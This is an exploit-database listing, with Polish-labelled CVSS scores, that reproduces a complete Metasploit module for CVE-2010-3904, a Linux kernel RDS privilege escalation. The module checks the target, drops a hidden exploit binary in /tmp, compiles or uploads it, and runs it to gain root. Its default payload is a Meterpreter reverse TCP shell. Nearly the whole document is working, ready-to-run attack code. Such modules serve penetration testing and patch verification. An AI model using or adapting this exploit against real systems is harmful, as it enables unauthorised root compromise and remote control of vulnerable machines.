vReliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation

2019.12.24
Credit: Dan Rosenberg
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


Ogólna skala CVSS: 7.2/10
Znaczenie: 10/10
Łatwość wykorzystania: 3.9/10
Wymagany dostęp: Lokalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Pełny
Wpływ na dostępność: Pełny

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::Linux::Compile include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Module::Deprecated moved_from 'exploit/linux/local/rds_priv_esc' def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the `rds_page_copy_user` function in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 to execute code as root (CVE-2010-3904). This module has been tested successfully on: Fedora 13 (i686) kernel version 2.6.33.3-85.fc13.i686.PAE; and Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dan Rosenberg', # Discovery and C exploit 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 20 2010', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'EDB', '15285' ], [ 'CVE', '2010-3904' ], [ 'BID', '44219' ], [ 'URL', 'https://securitytracker.com/id?1024613' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ], [ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ], [ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ], [ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ], ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10, 'PrependFork' => true }, 'Notes' => { 'AKA' => ['rds-fail.c'], 'Reliability' => [ UNRELIABLE_SESSION ], 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'DefaultTarget' => 0)) register_advanced_options [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def modules_disabled? modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip (modules_disabled.eql?('1') || modules_disabled.eql?('2')) end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def check version = kernel_release unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') && Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37') return CheckCode::Safe("Linux kernel version #{version} is not vulnerable") end vprint_good "Linux kernel version #{version} appears to be vulnerable" unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets' return CheckCode::Safe('RDS kernel module is not available') end vprint_good 'RDS kernel module is available' if modules_disabled? unless cmd_exec('/sbin/lsmod').to_s.include? 'rds' return CheckCode::Safe('RDS kernel module is not loadable') end end vprint_good 'RDS kernel module is loadable' CheckCode::Appears end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('cve-2010-3904', 'rds-fail.c') else vprint_status 'Dropping pre-compiled exploit on system...' arch = kernel_hardware case arch when /amd64|ia64|x86_64|x64/i upload_and_chmodx executable_path, exploit_data('cve-2010-3904', 'rds-fail.x64') when /x86|i[3456]86/ upload_and_chmodx executable_path, exploit_data('cve-2010-3904', 'rds-fail.x86') else fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}" end end payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } end end


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